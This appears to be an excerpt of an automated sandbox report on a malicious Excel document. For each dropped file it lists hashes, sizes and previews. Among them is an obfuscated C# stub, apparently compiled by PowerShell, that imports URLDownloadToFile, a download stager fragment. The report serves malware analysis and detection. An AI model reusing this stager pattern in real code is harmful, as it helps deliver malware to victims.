SSDEEP:	3072:poJS7YQkRBCKlgt5pVIYGwOeawyhrb7w/yIdHBVgukzL/fFQEV:q7w/yIlBVgv
MD5:	6A8A8B5A54471FC9F8A6A4E5814AEED4
SHA1:	7FEF3D6A517E9272F322CC215413F2A9D0C8B48B
SHA-256:	4FB0AFE34F0979452EC3EBF6C9879222D5D4B2B30B3B7A49FE7D13700AFA2F5E
SHA-512:	7D2DA03D505EA16590CC7E6D5D64816E28DCE29EBC7F6E6A828189339D57F5D7F6535E7E81EB01C907B92B99EC7F7B271B5A93886CF2DDF0D0C75EBE2E10970F
Malicious:	false
Preview:	..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .C.r.e.a.t.e.S.e.s.s.i.o.n.(.w.s.m.a.n.,. .c.o.n.S.t.r.,. .o.p.t.D.i.c.,. .a.l.e.n.t.a.d.a.m.e.n.t.e.)..... . . . .d.i.m. .a.n.d.o.a.r.F.l.a.g.s..... . . . .d.i.m. .c.o.n.O.p.t. ..... . . . .d.i.m. .a.n.d.o.a.r..... . . . .d.i.m. .a.u.t.h.V.a.l..... . . . .d.i.m. .e.n.c.o.d.i.n.g.V.a.l..... . . . .d.i.m. .e.n.c.r.y.p.t.V.a.l..... . . . .d.i.m. .p.w..... . . . .d.i.m. .t.o.u.t..... . . . .'. .p.r.o.x.y. .i.n.f.o.r.m.a.t.i.o.n..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m.V.a.l..... . . . .d.i.m. .p.r.o.x.y.U.s.e.r.n.a.m.e..... . . . .d.i.m. .p.r.o.x.y.P.a.s.s.w.o.r.d..... . . . . ..... . . . .a.n.d.o.a.r.F.l.a.g.s. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l. .=. .0..... . . . .p.r.o.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1C3ABE4C.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	52712
Entropy (8bit):	2.69601862257325
Encrypted:	false
SSDEEP:	384:k37ZSy7s8wsI459Fwh+zRrXheOV8OV8OV1lJ//Te7rP:y7blMOV93WrP
MD5:	57851611F066C7BD325A4B9817DD28B0
SHA1:	A52AE733137921018D9670ABB919568CD5F90F2F
SHA-256:	EE958A9DEF0CA8010229635A73E8F3621A234CAEE58EE7C6DF8CFE128490B139
SHA-512:	A6B5D475F1247988B9139F2586D210FF0741203B398F7FB2CF8CB1C7C39250C52982954F81F576FF765E2561A3462078A173EA35749C1DDEF55FC99BD4918C85
Malicious:	false
Preview:	....l............................S...".. EMF................................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.....................................L...d.......<.......m.......<.......2...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\33E4563A.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	38272
Entropy (8bit):	2.8081661079517968
Encrypted:	false
SSDEEP:	192:6/CJoV9KjGhFi1lildmP/4GtXULs9h2QmlC+a6gz5nCf5OBgJP+SKA:6/CbiG1l34GtXl2QmlC+a6gz5SOyJ1/
MD5:	1ED1E7A0ED6137C48652115CA579221E
SHA1:	B66C7110A3831166B32E3664AAF24AB75C0CCCA1
SHA-256:	A694409B40BB7B2DFC78BE6C7ECDFC4F6A8B95305247EB520C57F9E0B1BBFDC3
SHA-512:	93D917CEAD84FF6792723B2238A342F995A3AF8DD0003DA8298BB04F5A6D53F0C6EC7728D6EE51933BEBA015969EAD8C25F8566E6DC2CEE4EBF931F2422F25AE
Malicious:	false
Preview:	....l...........c................N...@.. EMF........l.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................d......."...........!...............................................d......."...........!...............................................d......."...........!...............................................d......."...........!...............................................d.......'.......................%...........................................................L...d...........c...............d.......!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6C39F1DD.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	172076
Entropy (8bit):	3.1342558498505824
Encrypted:	false
SSDEEP:	1536:7DqEuvAIid/aQGb1BfUErpxTORWEl+tIL22EZCd:iEuWd/adDrvTUP22Bd
MD5:	D85DAC1376E45C58F790BD50C2729F6C
SHA1:	5BD339C54A944689935652E4A1CC78961EB19589
SHA-256:	CE5CF5334F2BF26B0B3F4B135B2BEA9126CB29DD1C5BED1F558FAA2BFE4C8E48
SHA-512:	6B864B3E47331C5C37376B1F9ED7FE1F8D48BE27438DE9C4D7BA3B3ED6ED3F319425E8D696B51C7969AD3C10A7285D7212E59FDDAC8385BCD992A03EF189789A
Malicious:	false
Preview:	....l..............................eQ.. EMF....,.......$...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................L...d...........T...)..............."...!..............?...........?................................'.......................%...................................&...........................%.......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\73203679.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1462180
Entropy (8bit):	4.432116325040296
Encrypted:	false
SSDEEP:	6144:rQelSzQ4mD3f5ReZdZJElOFmxi9DrvwdkfDxdYJhvRJiTeJ78KJcj/iiDmdYJhkG:rVlS5mzCJEuPukZBV
MD5:	C88BBA4F839966D6648736A889FC1572
SHA1:	6BC7FD238EB8563236B3E0049CFA9849DFC7A71B
SHA-256:	49497513E15B13BD704C26CBE555D5F0A68F77203C59E500025BBC719366296D
SHA-512:	0149FB22DD6E3530EEE015A978E4D99C6DBE6FE70C508C6CCFF735B875B0DE97B06BD9878C9E871A3EFBF2429640329A9CD80DE790CB80CB8364700333D5A571
Malicious:	false
Preview:	....l...............2...........@m..?... EMF.....O...,..A...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................3..."...........!...................................................3..."...........!...................................................3..."...........!...................................................3..."...........!...................................................3...'.......................%...........................................................L...d...v.../......._...v.../.......1...!..............?...........?................................L...d...................................!..............?...........?............................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\89D7CF3.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	349384
Entropy (8bit):	3.7170605169628734
Encrypted:	false
SSDEEP:	1536:6dkVZD+Jb5qGYJ6OoG+RJ2dB9eJb85eKJBFgcxSoigiP/l5K:UkVZD+JbBYJhkRJiTeJI8KJcs/ibY
MD5:	4491EFDD2921740B529E96BD780D0644
SHA1:	A170615106A550A873E2FD78D913FA02264B1D19
SHA-256:	2873A34503AFAFA73B48AB4C63CB00D14D209C24A704F6BBE92D5D9EA40BE538
SHA-512:	FEFE0B18BD15EB774F42056EB9E39FD8BFF8DDEF76595E5EFEC9A76117D173513FFCFCF79A45ACDECD4F714DBC6E95EDB813AF610F19C96E1595D72DC7FDE707
Malicious:	false
Preview:	....l...........'....................S.. EMF.....T..S.......................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................(......."...........!...............................................(......."...........!...............................................(......."...........!...............................................(......."...........!...............................................(.......'.......................%...........................................................L...d...........=...............<.......!..............?...........?................................'......................%...........(......................L...d...........F...............G...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D63E37B7.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1462180
Entropy (8bit):	4.432116325040296
Encrypted:	false
SSDEEP:	6144:rQelSzQ4mD3f5ReZdZJElOFmxi9DrvwdkfDxdYJhvRJiTeJ78KJcj/iiDmdYJhkG:rVlS5mzCJEuPukZBV
MD5:	C88BBA4F839966D6648736A889FC1572
SHA1:	6BC7FD238EB8563236B3E0049CFA9849DFC7A71B
SHA-256:	49497513E15B13BD704C26CBE555D5F0A68F77203C59E500025BBC719366296D
SHA-512:	0149FB22DD6E3530EEE015A978E4D99C6DBE6FE70C508C6CCFF735B875B0DE97B06BD9878C9E871A3EFBF2429640329A9CD80DE790CB80CB8364700333D5A571
Malicious:	false
Preview:	....l...............2...........@m..?... EMF.....O...,..A...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...................................................3..."...........!...................................................3..."...........!...................................................3..."...........!...................................................3..."...........!...................................................3...'.......................%...........................................................L...d...v.../......._...v.../.......1...!..............?...........?................................L...d...................................!..............?...........?............................

C:\Users\user\AppData\Local\Temp\1gnxtwym.xfa.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\21rgtxet.q1w.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\RES19C8.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Fri Oct 25 17:46:39 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	4.00189433218285
Encrypted:	false
SSDEEP:	24:H+e9E2UBdHkwKdNWI+ycuZhNnakS5PNnqSqd:WnLKd41ulna37qSK
MD5:	BD9B1E52B2D1455F9A242FFE3093BE22
SHA1:	9B3E38C8C1446329CFE95C14714A2AEA01F3E08B
SHA-256:	ED5A13961678B92196DD08CBA38BFBC1C124B74EABF02281A14E67DEE6711455
SHA-512:	B0A32029D875D8A7AB346588ED7B7F120F280D1D9FBF275AFF45557C44CD4D468E1CFC9ECB6EFE45CA9F2E288C8B4D51E42E6C3AE8E3638A620B21F4ED553D9B
Malicious:	false
Preview:	L......g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\f2dj0ncr\CSC6208178C473A4F0793DCFE56B934F534.TMP................e...G....*..............4.......C:\Users\user\AppData\Local\Temp\RES19C8.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...f.2.d.j.0.n.c.r...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\RES6651.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Fri Oct 25 17:46:59 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.992091426905342
Encrypted:	false
SSDEEP:	24:HKe9E2UyMYXdH7wKdNWI+ycuZhNTakSFPNnqSqd:KyMYtMKd41ulTa3fqSK
MD5:	ABD975DA6D02ACD159CCBDD9D57D7BF6
SHA1:	6B01AAA575EC6F545F3AF6A0AEA3E9C12707AD05
SHA-256:	A86FB822941B0B0559041A2722E8DF2736C890C4B1480108A0F1A6805D2F564C
SHA-512:	618EC705BBA0EBD54DE324F917398BCF19227F573CC1BCB197D1A7DCBBFAF69E828B3F480E0DA9DEFCF7CC6886E0B27C52059D9248F94C16E029F71D00389118
Malicious:	false
Preview:	L......g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\al22exsj\CSC903F5E3F8DB7424CB84D15F933E11EB7.TMP.................0.0i.l}.5.\|.-..........4.......C:\Users\user\AppData\Local\Temp\RES6651.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...a.l.2.2.e.x.s.j...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\a1ss3ymk.rwo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\al22exsj\CSC903F5E3F8DB7424CB84D15F933E11EB7.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0969041138287383
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryRak7YnqqFPN5Dlq5J:+RI+ycuZhNTakSFPNnqX
MD5:	10CC30DDB83069BA6C7DC935927CB62D
SHA1:	D90247E3687CDE6CF6D7690C2A0C2D33E5991BA9
SHA-256:	A8E44BDE4B22026A2363625C0858FBDFD3FA8E71781E7EDAEF47375D57F46F43
SHA-512:	4B0E32EE578C40F0015EA27F4B7433EC7300976CB29DF0C6BF0ED8D76C35E06FC4A6D64551574B7550EDF9EAAAAE6CBC4E37C842976B6602A49D29736CE121A6
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...a.l.2.2.e.x.s.j...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...a.l.2.2.e.x.s.j...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (349)
Category:	dropped
Size (bytes):	461
Entropy (8bit):	3.857016861121393
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuTe9MGHQXReKJ8SRHy4HqLmcrMmP34SFQy:V/DTLDfu68XfH2LxrSvy
MD5:	28148B3CA10A02B644B2A6FA181EC146
SHA1:	DF0D5B7B62B90D707483DCEC5F080CB249EC3EAA
SHA-256:	C55559A073769857924E68D27D2DE365E18A2D1AF948932AE04284DA226C6CC8
SHA-512:	BFE7C6E65E8E0EE0DD46973FD7C3EBD1392D8E5DAC7A94C53AB0297CC95F78A57D05C00E72A3FDD65F29728181C098B90092C03338B36E7E59FA33A2A200D54D
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace qOhbQQ.{. public class XY. {. [DllImport("uRlMoN.dll", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr LHk,string oalyyaGmAX,string KI,uint iRJjuTFyFlM,IntPtr yB);.. }..}.

C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.248231528118725
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fOa7yzxs7+AEszIP23fOa73:p37Lvkmb6Kz7eWZEo7T
MD5:	9A068A56002FBAD118CCBAC93438076F
SHA1:	A0582CD31AE158784B8A3F2DD4AC868042A187C2
SHA-256:	332C22B46D92E5A517FFC1096B87DE54E912F97C899C434E48F1072EA3E3A07E
SHA-512:	192B06D368926EBC7699E55ECDA492D0220D4DCA8BC445384F462C675457ECB7ED7386849D6B4B86975C862C03D156108839FCE4958C0124FBFE920943DB8A04
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.0.cs"

C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.818298087062284
Encrypted:	false
SSDEEP:	24:etGS7sPBG5eM7p8qqZ/k4YrPtkZfHoFcqhkWI+ycuZhNTakSFPNnq:67jsM+qfruJHouEH1ulTa3fq
MD5:	C3B87BC9F12498B6678EFE412DB468B1
SHA1:	E418BE364BB51CAD354C671987F4660B1568E681
SHA-256:	0405FA64420591FD390312D651059429DFBB8123152FAA9BD5E035B2EA12673B
SHA-512:	A3C3219C9BBEB4707CA836C9322510DF5599A0FA5D71CCA395B3288D5D0EF565A0EA73233819DBF8560DDD779E9C993132DC1540228E1A461D47586028CE6220
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g...........!.................#... ...@....... ....................................@.................................X#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................1......q.....q.......................................... 8.....P ......J.........P.....T....._.....b.....n...J.....J...!.J.....J.......!.....*.......8.......................................!..........<Module>.al

C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.348321591805119
Encrypted:	false
SSDEEP:	24:AId3ka6KzbEoGKaMD5DqBVKVrdFAMBJTH:Akka60bEoGKdDcVKdBJj
MD5:	72119AF673289FD7DED3418021E2E467
SHA1:	F11A3D359F7700D1A93E84B1CFCA7D785AE2361D
SHA-256:	45947EBA03012094BED288B07A587CB1C30373339A37534B68919D4F72A294A3
SHA-512:	F7257A5EC8167716AE81CCD5FE306EFB2B8F4CA500149539F3F426D81745C7797C40537C2A4592BBC537292C629463196726C968BE07A22097CD3B3C2797CEAA
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\amvnjluh.4fk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\cnbzxbrd.d10.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\f2dj0ncr\CSC6208178C473A4F0793DCFE56B934F534.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.091410073761521
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grywWak7YnqqZHPN5Dlq5J:+RI+ycuZhNnakS5PNnqX
MD5:	9065F2F8BE47D5CBFAD8A92A1BB69B9B
SHA1:	B8AA19E42CBE9719A53B94AE1BEB38450581F350
SHA-256:	7A2E3BCAAFF43420E9C2656FCA2C3610803208A14CC8AC4E8E04473C63C5008E
SHA-512:	D324BDE5BE9A5B15C1ACB67B58A234A53BB3A409B8C72AAC811DCE30FC366CACE799AE6E913326057078823B28421600902B43AD32454D375A97662B38F2DA40
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...f.2.d.j.0.n.c.r...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...f.2.d.j.0.n.c.r...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (349)
Category:	dropped
Size (bytes):	461
Entropy (8bit):	3.857016861121393
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuTe9MGHQXReKJ8SRHy4HqLmcrMmP34SFQy:V/DTLDfu68XfH2LxrSvy
MD5:	28148B3CA10A02B644B2A6FA181EC146
SHA1:	DF0D5B7B62B90D707483DCEC5F080CB249EC3EAA
SHA-256:	C55559A073769857924E68D27D2DE365E18A2D1AF948932AE04284DA226C6CC8
SHA-512:	BFE7C6E65E8E0EE0DD46973FD7C3EBD1392D8E5DAC7A94C53AB0297CC95F78A57D05C00E72A3FDD65F29728181C098B90092C03338B36E7E59FA33A2A200D54D
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace qOhbQQ.{. public class XY. {. [DllImport("uRlMoN.dll", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr LHk,string oalyyaGmAX,string KI,uint iRJjuTFyFlM,IntPtr yB);.. }..}.

C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.273230975006486
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fmklHUzxs7+AEszIP23fmk/n:p37Lvkmb6KzdUWZEoH
MD5:	6FA59A8F906DB1D58525D4F7B0EA8DF1
SHA1:	ABC4F23AC0AE0DF6EDAC8A747802BF6F7E55E9ED
SHA-256:	BBE8CD288F3884C59D9B190D7954CE7DD69DE8F2ECE41678E5488FD7280FB883
SHA-512:	C7C88370CE653B959487BA3136CD8EA7137FDE9E034AACCDC84287508145A8A7BE0DA5F7086BC68AE306CA51ECCD94522C33435A4E44AFC3A94164DDA0C17564
Malicious:	true
